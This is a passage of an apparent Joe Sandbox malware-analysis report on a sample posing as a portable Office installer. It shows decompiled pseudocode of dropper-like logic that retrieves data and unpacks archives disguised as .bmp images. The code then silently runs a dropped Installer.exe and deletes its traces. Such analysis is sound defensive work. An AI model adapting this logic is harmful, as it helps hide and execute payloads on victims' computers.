													LocalFileTimeToFileTime( &_v576,  &_v584);
													_t338 = _v584.dwLowDateTime;
													_t251 = _v584.dwHighDateTime;
													_t400 = 0;
													__eflags = _v592 - 4;
													 *(_t318 + 0x10c) = _t338;
													 *(_t318 + 0x110) = _t251;
													 *(_t318 + 0x114) = _t338;
													 *(_t318 + 0x118) = _t251;
													 *(_t318 + 0x11c) = _t338;
													 *(_t318 + 0x120) = _t251;
													if(_v592 <= 4) {
														L79:
														_t339 = _v588;
													} else {
														_t257 = _v588;
														_v542 = 0;
														_t384 = _t257 + 1;
														while(1) {
															L63:
															_v544 =  *(_t400 + _t257) & 0x000000ff;
															_v543 =  *(_t400 + _t384) & 0x000000ff;
															_t345 = "UT";
															_t260 =  &_v544;
															while(1) {
																_t385 =  *_t260;
																__eflags = _t385 -  *_t345;
																if(_t385 !=  *_t345) {
																	break;
																}
																__eflags = _t385;
																if(_t385 == 0) {
																	L68:
																	_t261 = 0;
																} else {
																	_t386 =  *((intOrPtr*)(_t260 + 1));
																	_t130 = _t345 + 1; // 0x25000054
																	__eflags = _t386 -  *_t130;
																	if(_t386 !=  *_t130) {
																		break;
																	} else {
																		_t260 = _t260 + 2;
																		_t345 = _t345 + 2;
																		__eflags = _t386;
																		if(_t386 != 0) {
																			continue;
																		} else {
																			goto L68;
																		}
																	}
																}
																L70:
																__eflags = _t261;
																if(_t261 == 0) {
																	_t383 = _v588;
																	_t402 = _t400 + 5;
																	_t262 =  *(_t402 + _t383 - 1) & 0x000000ff;
																	_v592 = _t262;
																	_v592 = _v592 >> 2;
																	_v592 = _v592 & 0x00000001;
																	_t348 = _t262 >> 0x00000001 & 0xffffff01;
																	_v552.dwHighDateTime = _t348;
																	__eflags = _t262 & 0x00000001;
																	if((_t262 & 0x00000001) != 0) {
																		_t287 = ((( *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 + _t383) & 0x000000ff;
																		asm("cdq");
																		_t402 = _t402 + 4;
																		__eflags = _t287 + 0xb6109100;
																		asm("adc edx, 0x2");
																		_t289 = E000D1560(_t287 + 0xb6109100, _t383, 0x989680, 0);
																		_t348 = _v552.dwHighDateTime;
																		 *(_t318 + 0x120) = _t383;
																		_t383 = _v588;
																		 *(_t318 + 0x11c) = _t289;
																	}
																	__eflags = _t348;
																	if(_t348 != 0) {
																		_t278 = ((( *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 + _t383) & 0x000000ff;
																		asm("cdq");
																		_t402 = _t402 + 4;
																		__eflags = _t278 + 0xb6109100;
																		asm("adc edx, 0x2");
																		 *(_t318 + 0x10c) = E000D1560(_t278 + 0xb6109100, _t383, 0x989680, 0);
																		 *(_t318 + 0x110) = _t383;
																	}
																	__eflags = _v592;
																	if(_v592 != 0) {
																		_t383 = _v588;
																		asm("cdq");
																		__eflags = (((( *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 + _t383) & 0x000000ff) + 0xb6109100;
																		asm("adc edx, 0x2");
																		 *(_t318 + 0x114) = E000D1560((((( *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 +  &(_t383[0])) & 0x000000ff) << 0x00000008 |  *(_t402 + _t383) & 0x000000ff) + 0xb6109100, _t383, 0x989680, 0);
																		 *(_t318 + 0x118) = _t383;
																	}
																	goto L79;
																} else {
																	_t339 = _v588;
																	_t400 = _t400 + ( *(_t400 + _t339 + 2) & 0x000000ff) + 4;
																	_t384 = _t339 + 1;
																	_t135 = _t400 + 4; // 0x4
																	__eflags = _t135 - _v592;
																	if(_t135 < _v592) {
																		_t257 = _v588;
																		goto L63;
																	} else {
																	}
																}
																goto L80;
															}
															asm("sbb eax, eax");
															_t261 = _t260 | 0x00000001;
															__eflags = _t261;
															goto L70;
														}
													}
													L80:
													__eflags = _t339;
													if(_t339 != 0) {
														L000CC7D6(_t339);
														_t412 = _t412 + 4;
													}
													 *(memcpy( &(_t390[2]), _t318, 0x4b << 2) + 0x134) = _a4;
													__eflags = _v8 ^ _t404;
													return E000CC7C7(_t318, _v8 ^ _t404, _t383, _t318 + 0x96, _t318);
													goto L84;
												}
											} else {
												L000CC7D6(_t397);
												goto L27;
											}
										}
									}
								} else {
									__eflags = _v8 ^ _t404;
									return E000CC7C7(_t318, _v8 ^ _t404,  &(_v552.dwHighDateTime), _t390, _t397);
								}
							} else {
								goto L8;
							}
						} else {
							if(_t397 == 0xffffffff) {
								L8:
								 *_t318 =  *( *_t390 + 4);
								 *((char*)(_t318 + 4)) = 0;
								 *(_t318 + 0x108) = 0;
								 *(_t318 + 0x10c) = 0;
								 *(_t318 + 0x110) = 0;
								 *(_t318 + 0x114) = 0;
								 *(_t318 + 0x118) = 0;
								 *(_t318 + 0x11c) = 0;
								 *(_t318 + 0x120) = 0;
								 *(_t318 + 0x124) = 0;
								 *(_t318 + 0x128) = 0;
								__eflags = _v8 ^ _t404;
								return E000CC7C7(_t318, _v8 ^ _t404, _t377, _t390, _t397);
							} else {
								memcpy(_t318,  &(_t390[2]), 0x4b << 2);
								return E000CC7C7(_t318, _v8 ^ _t404, _t377,  &(_t390[0x27]),  &(_t390[2]));
							}
						}
					}
				}
				L84:
			}

0x000c7270
0x000c7279
0x000c7280
0x000c7284
0x000c7288
0x000c728c
0x000c728e
0x000c7294
0x000c729d
0x000c795d
0x000c7962
0x000c7972
0x000c72a3
0x000c72a3
0x000c72a8
0x00000000
0x000c72ae
0x000c72b2
0x000c72b4
0x000c72b4
0x000c72b9
0x000c72c6
0x000c72ee
0x000c72f1
0x000c736d
0x000c736f
0x000c7372
0x000c7374
0x000c7374
0x000c7379
0x000c737b
0x000c737e
0x000c7380
0x000c7382
0x000c7382
0x000c7384
0x000c7386
0x000c7388
0x000c738c
0x000c7391
0x000c7392
0x000c7395
0x000c73a8
0x000c73b0
0x000c73bb
0x000c73c0
0x000c73c5
0x000c73c7
0x000c73c7
0x000c73c8
0x000c73c8
0x000c7395
0x000c738c
0x000c73cb
0x000c73cd
0x000c73cd
0x000c73d2
0x000c73d2
0x000c73f1
0x000c7409
0x000c740f
0x000c7414
0x000c7417
0x000c7419
0x000c7435
0x000c7437
0x000c743a
0x000c7461
0x00000000
0x000c743c
0x000c743c
0x000c7440
0x000c74a4
0x000c74af
0x000c74b9
0x000c7442
0x000c7453
0x000c7464
0x000c7464
0x000c746a
0x000c7476
0x000c747e
0x000c7485
0x000c748b
0x000c7490
0x000c7493
0x000c7499
0x000c74c1
0x000c74d6
0x000c74db
0x000c74de
0x000c74e4
0x000c74e4
0x000c74e6
0x000c74e8
0x00000000
0x00000000
0x000c74ea
0x000c74ea
0x000c74ee
0x000c74f0
0x000c74e4
0x000c74e4
0x000c74e6
0x000c74e8
0x00000000
0x00000000
0x00000000
0x000c74e8
0x000c74e4
0x000c74f5
0x000c74f5
0x000c74f7
0x000c74f9
0x000c74e4
0x000c74e4
0x000c74e6
0x000c74e8
0x00000000
0x00000000
0x00000000
0x000c74e8
0x000c74e4
0x000c74fc
0x000c74fe
0x000c7500
0x000c74e4
0x000c74e4
0x000c74e6
0x000c74e8
0x00000000
0x00000000
0x00000000
0x000c74e8
0x000c74e4
0x000c7509
0x000c750e
0x000c7511
0x000c7513
0x000c7515
0x000c7515
0x000c74e4
0x000c74e4
0x000c74e6
0x000c74e8
0x00000000
0x00000000
0x00000000
0x000c74e8
0x000c74e4
0x000c7520
0x000c7525
0x000c7528
0x000c752a
0x000c752c
0x000c752c
0x000c74e4
0x000c74e4
0x000c74e6
0x000c74e8
0x00000000
0x00000000
0x00000000
0x000c74e8
0x000c74e4
0x000c7537
0x000c753c
0x000c753f
0x000c7541
0x000c7543
0x000c7543
0x000c74e4
0x000c74e4
0x000c74e6
0x000c74e8
0x00000000
0x00000000
0x00000000
0x000c74e8
0x00000000
0x000c74e4
0x000c754e
0x000c7553
0x000c7556
0x000c7558
0x000c755a
0x000c755a
0x00000000
0x000c755a
0x000c7560
0x000c7569
0x000c756e
0x000c7583
0x000c7591
0x000c7594
0x000c7597
0x000c759a
0x000c75a1
0x000c75a8
0x000c75af
0x000c75b1
0x000c75c2
0x000c75cb
0x000c75db
0x000c75e8
0x000c75f5
0x000c75f8
0x000c75b3
0x000c75b3
0x000c75b6
0x00000000
0x000c75b8
0x000c75b8
0x000c75bb
0x00000000
0x000c75bd
0x000c75bd
0x000c75c0
0x000c75ff
0x00000000
0x00000000
0x00000000
0x000c75c0
0x000c75bb
0x000c75b6
0x000c7605
0x000c760c
0x000c7616
0x000c7618
0x000c7618
0x000c7622
0x000c7624
0x000c7626
0x000c7626
0x000c7626
0x000c7626
0x000c762d
0x000c7634
0x000c7636
0x000c7636
0x000c7636
0x000c7636
0x000c763d
0x000c763f
0x000c7641
0x000c7641
0x000c7641
0x000c7641
0x000c7648
0x000c764f
0x000c7651
0x000c7651
0x000c7651
0x000c7651
0x000c7658
0x000c7664
0x000c7670
0x000c7678
0x000c768a
0x000c7699
0x000c76a7
0x000c76b6
0x000c76bf
0x000c76cd
0x000c76d9
0x000c76dc
0x000c76e3
0x000c76ea
0x000c76f6
0x000c7702
0x000c7716
0x000c771c
0x000c7722
0x000c7728
0x000c772a
0x000c7731
0x000c7737
0x000c773d
0x000c7743
0x000c7749
0x000c774f
0x000c7755
0x000c791a
0x000c791a
0x000c775b
0x000c775b
0x000c7761
0x000c7768
0x000c7776
0x000c7776
0x000c777a
0x000c7784
0x000c778a
0x000c778f
0x000c7795
0x000c7795
0x000c7797
0x000c7799
0x00000000
0x00000000
0x000c779b
0x000c779d
0x000c77b1
0x000c77b1
0x000c779f
0x000c779f
0x000c77a2
0x000c77a2
0x000c77a5
0x00000000
0x000c77a7
0x000c77a7
0x000c77aa
0x000c77ad
0x000c77af
0x00000000
0x00000000
0x00000000
0x00000000
0x000c77af
0x000c77a5
0x000c77ba
0x000c77ba
0x000c77bc
0x000c77e1
0x000c77e7
0x000c77ea
0x000c77f3
0x000c77f9
0x000c7800
0x000c7807
0x000c780d
0x000c7813
0x000c7815
0x000c7837
0x000c7839
0x000c783c
0x000c783f
0x000c7849
0x000c784e
0x000c7858
0x000c785e
0x000c7864
0x000c786a
0x000c786a
0x000c7870
0x000c7872
0x000c7894
0x000c7896
0x000c7899
0x000c789c
0x000c78a6
0x000c78b5
0x000c78bb
0x000c78bb
0x000c78c1
0x000c78c8
0x000c78ca
0x000c78f4
0x000c78f5
0x000c78ff
0x000c790e
0x000c7914
0x000c7914
0x00000000
0x000c77be
0x000c77be
0x000c77cc
0x000c77ce
0x000c77d1
0x000c77d4
0x000c77da
0x000c7770
0x00000000
0x00000000
0x000c77dc
0x000c77da
0x00000000
0x000c77bc
0x000c77b5
0x000c77b7
0x000c77b7
0x00000000
0x000c77b7
0x000c7776
0x000c7920
0x000c7920
0x000c7922
0x000c7925
0x000c792a
0x000c792a
0x000c7942
0x000c7950
0x000c795a
0x00000000
0x000c795a
0x000c749b
0x000c749c
0x00000000
0x000c74a1
0x000c7499
0x000c7440
0x000c741b
0x000c7426
0x000c7430
0x000c7430
0x00000000
0x00000000
0x00000000
0x000c72c8
0x000c72cb
0x000c72f3
0x000c72f8
0x000c72fa
0x000c72fe
0x000c7308
0x000c7312
0x000c731c
0x000c7326
0x000c7330
0x000c733a
0x000c7344
0x000c734e
0x000c7360
0x000c736a
0x000c72cd
0x000c72d7
0x000c72eb
0x000c72eb
0x000c72cb
0x000c72c6
0x000c72a8
0x00000000

Strings

/../, xrefs: 000C7531
/..\, xrefs: 000C7548
\../, xrefs: 000C751A
\..\, xrefs: 000C7503

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID:
String ID: /../$/..\$\../$\..\
API String ID: 0-3885502717
Opcode ID: 54d8d350fe37cf76d87e697af3140ebafa5b0e3c6d127715afd67b1c4797e469
Instruction ID: b1c488f6c1dd53830f66f09e3a98513b1ebfff06a71c9d977b2e9626857c8f4a
Opcode Fuzzy Hash: 54d8d350fe37cf76d87e697af3140ebafa5b0e3c6d127715afd67b1c4797e469
Instruction Fuzzy Hash: 0D12D071A046148BDB65CF28C885BEDBBF1EB45304F1842EDE84D9B282D775AA85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 000C1760, Relevance: 56.6, APIs: 16, Strings: 16, Instructions: 555
sleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 63%

			E000C1760(void* __edx, void* __eflags) {
				char _v16;
				signed int _v24;
				char _v28;
				long _v36;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v100;
				char _v112;
				signed int _v120;
				char _v124;
				char _v136;
				char _v148;
				char _v160;
				char _v172;
				char _v264;
				char _v492;
				char _v512;
				char _v540;
				long _v544;
				char _v560;
				char _v564;
				long _v568;
				intOrPtr _v572;
				char _v580;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				intOrPtr _v612;
				char _v616;
				long _v620;
				long _v624;
				intOrPtr _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				char _v660;
				char _v664;
				long _v668;
				char _v676;
				char _v680;
				char _v684;
				char _v688;
				struct _SHELLEXECUTEINFOA _v748;
				char _v752;
				char _v764;
				intOrPtr _v768;
				long _v772;
				char _v776;
				char _v788;
				char _v796;
				intOrPtr _v800;
				intOrPtr _v804;
				char _v808;
				intOrPtr _v812;
				char _v816;
				char _v824;
				char _v832;
				char _v836;
				char _v840;
				char _v844;
				char _v848;
				char _v860;
				char _v872;
				char _v884;
				char _v896;
				char _v908;
				char _v920;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t213;
				signed int _t215;
				void* _t218;
				char* _t219;
				intOrPtr* _t221;
				void* _t234;
				void* _t240;
				char* _t243;
				void* _t246;
				char* _t249;
				void* _t252;
				char* _t256;
				void* _t266;
				char* _t273;
				void* _t283;
				void* _t287;
				void* _t288;
				void* _t289;
				void* _t305;
				void* _t313;
				void* _t321;
				void* _t329;
				void* _t348;
				char* _t349;
				char* _t350;
				char* _t351;
				void* _t353;
				char* _t355;
				char* _t358;
				char* _t363;
				void* _t426;
				void* _t427;
				char* _t448;
				void* _t449;
				char* _t451;
				intOrPtr _t452;
				void* _t454;
				signed int _t455;
				signed int _t457;
				void* _t458;
				char* _t459;
				void* _t461;
				char* _t462;
				void* _t463;
				void* _t464;
				void* _t465;
				void* _t466;
				void* _t467;
				void* _t468;
				void* _t469;
				void* _t472;
				signed int _t473;

				_t426 = __edx;
				_push(0xffffffff);
				_push(E000E367B);
				_push( *[fs:0x0]);
				_t457 = (_t455 & 0xfffffff8) - 0x2f8;
				_t213 =  *0xef6ac; // 0xcff43140
				_v24 = _t213 ^ _t457;
				_t215 =  *0xef6ac; // 0xcff43140
				_push(_t215 ^ _t457);
				 *[fs:0x0] =  &_v16; // executed
				_t218 = E000C2770(); // executed
				if(_t218 == 0) {
					_v772 = 0;
					_t451 = 0;
					__eflags = 0;
					while(1) {
						_t219 = E000C2480( &_v772, _t426); // executed
						_t448 = _t219;
						_t451 = _t451 + 1; // executed
						Sleep(0x64); // executed
						__eflags = _t448;
						if(_t448 != 0) {
							break;
						}
						__eflags = _t451 - 0x12c;
						if(_t451 < 0x12c) {
							continue;
						}
						break;
					}
					__imp__SHGetFolderPathA(0, 0x1c, 0, 0,  &_v492); // executed
					__eflags = _v512;
					_v564 = 0xf;
					_v568 = 0;
					_v584 = 0;
					if(_v512 != 0) {
						_t221 =  &_v512;
						_t11 = _t221 + 1; // 0x1
						_t427 = _t11;
						do {
							_t355 =  *_t221;
							_t221 = _t221 + 1;
							__eflags = _t355;
						} while (_t355 != 0);
						_t222 = _t221 - _t427;
						__eflags = _t221 - _t427;
						L10:
						E000C3040( &_v584,  &_v512, _t222);
						_v36 = 0;
						E000C3240( &_v592, "\\temp\\", 6);
						__eflags = _v580 - 0x10;
						_t227 =  >=  ? _v600 :  &_v600;
						CreateDirectoryA( >=  ? _v600 :  &_v600, 0); // executed
						__eflags = _v580 - 0x10;
						_t230 =  >=  ? _v600 :  &_v600;
						swprintf( &_v264, 0xc8, "%s%d.txt",  >=  ? _v600 :  &_v600, _t451);
						_t458 = _t457 + 0x14;
						_t234 = CreateFileA( &_v264, 0x40000000, 0, 0, 2, 0, 0); // executed
						FindCloseChangeNotification(_t234); // executed
						__eflags = _t448;
						if(_t448 != 0) {
							_v540 = 0xf;
							_v544 = 0;
							_v560 = 0;
							_t459 = _t458 - 0x18;
							_t358 = _t459;
							_v28 = 1;
							 *((intOrPtr*)(_t358 + 0x14)) = 0xf;
							 *(_t358 + 0x10) = 0;
							 *_t358 = 0;
							E000C3040(_t358, "value0", 6);
							_t452 = _v800;
							_push(_t452);
							_push(0);
							_t348 = E000C2B00( &_v568, _t448, __eflags);
							_push(0xffffffff);
							_v620 = 0xf;
							_v624 = 0;
							_v640 = 0;
							E000C2F10( &_v640,  &_v592, 0);
							_v48 = 2;
							_t240 = E000C3650( &_v808,  &_v580, "Installer.exe");
							_t461 = _t459 + 0x24;
							_push(0xffffffff);
							_v48 = 3;
							E000C3140( &_v652, _t240, 0);
							_v60 = 2;
							__eflags = _v800 - 0x10;
							if(_v800 >= 0x10) {
								L000CC7D6(_v796);
								_t461 = _t461 + 4;
							}
							_t462 = _t461 - 0x18;
							_t363 = _t462;
							 *((intOrPtr*)(_t363 + 0x14)) = 0xf;
							 *(_t363 + 0x10) = 0;
							 *_t363 = 0;
							E000C3040(_t363, "value1", 6);
							__eflags = _v628 - 0x10;
							_t365 =  >=  ? _v648 :  &_v648;
							_push(_t452);
							_push(_t348);
							_t243 = E000C2190( >=  ? _v648 :  &_v648, _t448, _v628 - 0x10); // executed
							_t349 = _t243;
							_t463 = _t462 + 0x20;
							__eflags = _t349;
							if(_t349 >= 0) {
								_push(0xffffffff);
								E000C2F10( &_v640,  &_v592, 0);
								_t246 = E000C3650( &_v808,  &_v580, "Installer.INI");
								_t464 = _t463 + 4;
								_push(0xffffffff);
								_v48 = 4;
								E000C3140( &_v652, _t246, 0);
								_v60 = 2;
								__eflags = _v800 - 0x10;
								if(_v800 >= 0x10) {
									L000CC7D6(_v804);
									_t464 = _t464 + 4;
								}
								_t465 = _t464 - 0x18;
								E000C2DE0(_t465, _t448, "value2");
								__eflags = _v632 - 0x10;
								_t371 =  >=  ? _v652 :  &_v652;
								_push(_t452);
								_push(_t349);
								_t249 = E000C2190( >=  ? _v652 :  &_v652, _t448, _v632 - 0x10); // executed
								_t350 = _t249;
								_t466 = _t465 + 0x20;
								__eflags = _t350;
								if(_t350 >= 0) {
									_push(0xffffffff);
									E000C2F10( &_v648,  &_v600, 0);
									_t252 = E000C3650( &_v816,  &_v588, "fondo.bmp");
									_t467 = _t466 + 4;
									_push(0xffffffff);
									_v56 = 5;
									E000C3140( &_v660, _t252, 0);
									_v68 = 2;
									__eflags = _v808 - 0x10;
									if(_v808 >= 0x10) {
										L000CC7D6(_v812);
										_t467 = _t467 + 4;
									}
									E000C3650( &_v632,  &_v656, ".zip");
									_t468 = _t467 - 0x14;
									_v52 = 6;
									E000C2DE0(_t468, _t448, "value3");
									__eflags = _v616 - 0x10;
									_t378 =  >=  ? _v636 :  &_v636;
									_push(_t452);
									_push(_t350);
									_t435 = _t448; // executed
									_t256 = E000C2190( >=  ? _v636 :  &_v636, _t448, _v616 - 0x10); // executed
									_t351 = _t256;
									_t469 = _t468 + 0x20;
									__eflags = _t351;
									if(_t351 >= 0) {
										__eflags = _v612 - 0x10;
										_t380 =  >=  ? _v632 :  &_v632;
										E000C28A0( >=  ? _v632 :  &_v632, _t435); // executed
										__eflags = _v636 - 0x10;
										_t259 =  >=  ? _v656 :  &_v656;
										MoveFileA("fondo.bmp",  >=  ? _v656 :  &_v656); // executed
										__eflags = _v612 - 0x10;
										_t262 =  >=  ? _v632 :  &_v632;
										DeleteFileA( >=  ? _v632 :  &_v632); // executed
										_push(0xffffffff);
										E000C2F10( &_v656,  &_v608, 0);
										_t266 = E000C3650( &_v824,  &_v596, "header.bmp");
										_push(0xffffffff);
										_v64 = 7;
										E000C3140( &_v668, _t266, 0);
										_v76 = 6;
										E000C2EC0( &_v836);
										E000C2E40( &_v656, E000C3650( &_v836,  &_v680, ".zip"));
										E000C2EC0( &_v840);
										_t472 = _t469 + 8 - 0x18;
										E000C2DE0(_t472, _t448, "value4");
										__eflags = _v644 - 0x10;
										_t390 =  >=  ? _v664 :  &_v664;
										_push(_t452);
										_push(_t351);
										_t438 = _t448; // executed
										_t273 = E000C2190( >=  ? _v664 :  &_v664, _t448, _v644 - 0x10); // executed
										_t473 = _t472 + 0x20;
										__eflags = _t273;
										if(_t273 >= 0) {
											__eflags = _v620 - 0x10;
											_t392 =  >=  ? _v640 :  &_v640;
											E000C28A0( >=  ? _v640 :  &_v640, _t438); // executed
											__eflags = _v644 - 0x10;
											_t276 =  >=  ? _v664 :  &_v664;
											MoveFileA("header.bmp",  >=  ? _v664 :  &_v664); // executed
											__eflags = _v620 - 0x10;
											_t279 =  >=  ? _v640 :  &_v640;
											DeleteFileA( >=  ? _v640 :  &_v640); // executed
											_push(0xffffffff);
											E000C2F10( &_v664,  &_v616, 0);
											_t283 = E000C3650( &_v832,  &_v604, "Installer.exe");
											_push(0xffffffff);
											_v72 = 8;
											E000C3140( &_v676, _t283, 0);
											_v84 = 6;
											E000C2EC0( &_v844);
											_t287 = E000C3740( &_v796, "/KEYWORD=",  &_v616);
											_v84 = 9;
											_t288 = E000C3830( &_v772, _t287, " \"/PATHFILES=");
											_v84 = 0xa;
											_t289 = E000C38D0( &_v844, _t288,  &_v640);
											_v84 = 0xb;
											E000C3830( &_v592, _t289, "\"");
											E000C2EC0( &_v844);
											E000C2EC0( &_v772);
											_v84 = 0xf;
											E000C2EC0( &_v796);
											E000D1050( &(_v748.fMask), 0, 0x38);
											__eflags = _v668 - 0x10;
											_t297 =  >=  ? _v688 :  &_v688;
											__eflags = _v572 - 0x10;
											_v748.lpFile =  >=  ? _v688 :  &_v688;
											_t299 =  >=  ? _v592 :  &_v592;
											_v748.lpParameters =  >=  ? _v592 :  &_v592;
											_v748.cbSize = 0x3c;
											_v748.fMask = 0x40;
											_v748.hwnd = 0;
											_v748.lpVerb = 0;
											_v748.lpDirectory = 0;
											_v748.nShow = 5;
											_v748.hInstApp = 0;
											ShellExecuteExA( &_v748); // executed
											 *0xf1ab0 = 1;
											WaitForSingleObject(_v748.hIcon, 0xffffffff);
											_push(0xffffffff);
											E000C2F10( &(_v748.hProcess),  &_v644, 0);
											_t305 = E000C3650( &_v836,  &_v632, "Installer.exe");
											_push(0xffffffff);
											_v100 = 0x10;
											E000C3140( &(_v748.hkeyClass), _t305, 0);
											_v112 = 0xf;
											E000C2EC0( &_v848);
											__eflags = _v748.hIcon - 0x10;
											_t309 =  >=  ? _v748.hInstApp :  &(_v748.hInstApp);
											DeleteFileA( >=  ? _v748.hInstApp :  &(_v748.hInstApp));
											_push(0xffffffff);
											E000C2F10( &(_v748.hInstApp),  &_v668, 0);
											_t313 = E000C3650( &_v860,  &_v656, "Installer.INI");
											_push(0xffffffff);
											_v124 = 0x11;
											E000C3140( &(_v748.lpParameters), _t313, 0);
											_v136 = 0xf;
											E000C2EC0( &_v872);
											__eflags = _v748.nShow - 0x10;
											_t317 =  >=  ? _v748.hwnd :  &(_v748.hwnd);
											DeleteFileA( >=  ? _v748.hwnd :  &(_v748.hwnd));
											_push(0xffffffff);
											E000C2F10( &(_v748.hwnd),  &(_v748.hProcess), 0);
											_t321 = E000C3650( &_v884,  &_v680, "header.bmp");
											_push(0xffffffff);
											_v148 = 0x12;
											E000C3140( &_v752, _t321, 0);
											_v160 = 0xf;
											E000C2EC0( &_v896);
											__eflags = _v748.fMask - 0x10;
											_t325 =  >=  ? _v764 :  &_v764;
											DeleteFileA( >=  ? _v764 :  &_v764);
											_push(0xffffffff);
											E000C2F10( &_v764,  &(_v748.hInstApp), 0);
											_t438 =  &(_v748.hkeyClass);
											_t329 = E000C3650( &_v908,  &(_v748.hkeyClass), "fondo.bmp");
											_t473 = _t473 + 0x30;
											_push(0xffffffff);
											_v172 = 0x13;
											E000C3140( &_v776, _t329, 0);
											E000C2EC0( &_v920);
											__eflags = _v768 - 0x10;
											_t333 =  >=  ? _v788 :  &_v788;
											DeleteFileA( >=  ? _v788 :  &_v788);
											__eflags = 0;
											E000C2EC0( &(_v748.hProcess));
										}
									}
									__eflags = _v664 - 0x10;
									if(_v664 >= 0x10) {
										L000CC7D6(_v684);
										_t473 = _t473 + 4;
									}
									_v664 = 0xf;
									_v668 = 0;
									_v684 = 0;
								}
							}
							__eflags = _v688 - 0x10;
							if(_v688 >= 0x10) {
								L000CC7D6(_v748.lpClass);
								_t473 = _t473 + 4;
							}
							__eflags = _v616 - 0x10;
							_v688 = 0xf;
							_v748.hProcess = 0;
							_v748.lpClass = 0;
							if(_v616 >= 0x10) {
								L000CC7D6(_v636);
								_t473 = _t473 + 4;
							}
							_v616 = 0xf;
							_v620 = 0;
							_v636 = 0;
						}
						__eflags = _v640 - 0x10;
						if(_v640 >= 0x10) {
							L000CC7D6(_v660);
							_t473 = _t473 + 4;
						}
						goto L38;
					}
					_t222 = 0;
					goto L10;
				} else {
					L38:
					 *[fs:0x0] = _v112;
					_pop(_t449);
					_pop(_t454);
					_pop(_t353);
					return E000CC7C7(_t353, _v120 ^ _t473, _t438, _t449, _t454);
				}
			}

0x000c1760
0x000c1766
0x000c1768
0x000c1773
0x000c1774
0x000c177a
0x000c1781
0x000c178b
0x000c1792
0x000c179a
0x000c17a0
0x000c17a7
0x000c17b7
0x000c17bf
0x000c17bf
0x000c17c1
0x000c17c5
0x000c17cc
0x000c17ce
0x000c17cf
0x000c17d1
0x000c17d3
0x00000000
0x00000000
0x000c17d5
0x000c17db
0x00000000
0x00000000
0x00000000
0x000c17db
0x000c17ed
0x000c17f3
0x000c17fb
0x000c1806
0x000c1811
0x000c1819
0x000c181f
0x000c1826
0x000c1826
0x000c1830
0x000c1830
0x000c1832
0x000c1833
0x000c1833
0x000c1837
0x000c1837
0x000c1839
0x000c1849
0x000c185c
0x000c1867
0x000c186c
0x000c187b
0x000c1886
0x000c188c
0x000c189c
0x000c18b7
0x000c18bc
0x000c18d6
0x000c18dd
0x000c18e3
0x000c18e5
0x000c18ef
0x000c18fa
0x000c1905
0x000c190d
0x000c1910
0x000c1912
0x000c191c
0x000c1923
0x000c192f
0x000c1932
0x000c1937
0x000c193b
0x000c193c
0x000c194f
0x000c1951
0x000c1964
0x000c196f
0x000c197a
0x000c1982
0x000c1997
0x000c199f
0x000c19a4
0x000c19a7
0x000c19b3
0x000c19bb
0x000c19c0
0x000c19c8
0x000c19cd
0x000c19d3
0x000c19d8
0x000c19d8
0x000c19db
0x000c19de
0x000c19e2
0x000c19e9
0x000c19f5
0x000c19f8
0x000c19fd
0x000c1a0c
0x000c1a14
0x000c1a15
0x000c1a18
0x000c1a1d
0x000c1a1f
0x000c1a22
0x000c1a24
0x000c1a30
0x000c1a43
0x000c1a58
0x000c1a5d
0x000c1a60
0x000c1a6c
0x000c1a74
0x000c1a79
0x000c1a81
0x000c1a86
0x000c1a8c
0x000c1a91
0x000c1a91
0x000c1a94
0x000c1a9e
0x000c1aa3
0x000c1ab2
0x000c1aba
0x000c1abb
0x000c1abe
0x000c1ac3
0x000c1ac5
0x000c1ac8
0x000c1aca
0x000c1ad6
0x000c1ae9
0x000c1afe
0x000c1b03
0x000c1b06
0x000c1b12
0x000c1b1a
0x000c1b1f
0x000c1b27
0x000c1b2c
0x000c1b32
0x000c1b37
0x000c1b37
0x000c1b4d
0x000c1b52
0x000c1b5c
0x000c1b64
0x000c1b69
0x000c1b78
0x000c1b80
0x000c1b81
0x000c1b82
0x000c1b84
0x000c1b89
0x000c1b8b
0x000c1b8e
0x000c1b90
0x000c1b9c
0x000c1bab
0x000c1bb3
0x000c1bb8
0x000c1bc7
0x000c1bd5
0x000c1bdb
0x000c1bea
0x000c1bf3
0x000c1bf9
0x000c1c0c
0x000c1c21
0x000c1c29
0x000c1c35
0x000c1c3d
0x000c1c46
0x000c1c4e
0x000c1c73
0x000c1c7c
0x000c1c81
0x000c1c8b
0x000c1c90
0x000c1c9f
0x000c1ca7
0x000c1ca8
0x000c1ca9
0x000c1cab
0x000c1cb0
0x000c1cb3
0x000c1cb5
0x000c1cc1
0x000c1cd0
0x000c1cd8
0x000c1cdd
0x000c1cec
0x000c1cfa
0x000c1d00
0x000c1d15
0x000c1d1e
0x000c1d20
0x000c1d33
0x000c1d48
0x000c1d50
0x000c1d5c
0x000c1d64
